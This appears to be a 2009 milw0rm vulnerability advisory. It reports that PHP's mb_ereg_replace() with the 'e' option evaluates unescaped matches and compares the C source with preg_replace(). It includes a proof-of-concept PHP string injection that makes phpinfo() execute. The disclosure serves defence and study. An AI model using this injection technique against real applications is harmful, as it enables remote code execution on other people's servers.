55 lines
No EOL
1.4 KiB
Text
55 lines
No EOL
1.4 KiB
Text
mb_ereg(i)_replace() evaluate replacement string vulnerability
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by ryat#www.80vul.com
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when option parameter set e, matchs not be escaped.
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ex:
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<?php
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function hi80vul() {}
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$str = '\', phpinfo(), \'';
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mb_ereg_replace('^(.*)$', 'hi80vul(\'\1\')', $str, 'e');
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?>
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phpinfo() will be evaluated.
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mb_ereg_replace()
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if ((replace_len - i) >= 2 && fwd == 1 &&
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p[0] == '\\' && p[1] >= '0' && p[1] <= '9') {
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n = p[1] - '0';
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}
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if (n >= 0 && n < regs->num_regs) {
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if (regs->beg[n] >= 0 && regs->beg[n] < regs->end[n] && regs->end[n] <= string_len) {
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smart_str_appendl(pbuf, string + regs->beg[n], regs->end[n] - regs->beg[n]);
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// matchs not be escaped
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}
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preg_replace()
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if ('\\' == *walk || '$' == *walk) {
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smart_str_appendl(&code, segment, walk - segment);
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if (walk_last == '\\') {
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code.c[code.len-1] = *walk++;
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segment = walk;
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walk_last = 0;
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continue;
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}
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segment = walk;
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if (preg_get_backref(&walk, &backref)) {
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if (backref < count) {
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/* Find the corresponding string match and substitute it
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in instead of the backref */
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match = subject + offsets[backref<<1];
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match_len = offsets[(backref<<1)+1] - offsets[backref<<1];
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if (match_len) {
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esc_match = php_addslashes_ex(match, match_len, &esc_match_len, 0, 1 TSRMLS_CC);
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// matchs escaped by addslashes()
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...
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smart_str_appendl(&code, esc_match, esc_match_len);
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# milw0rm.com [2009-05-07] |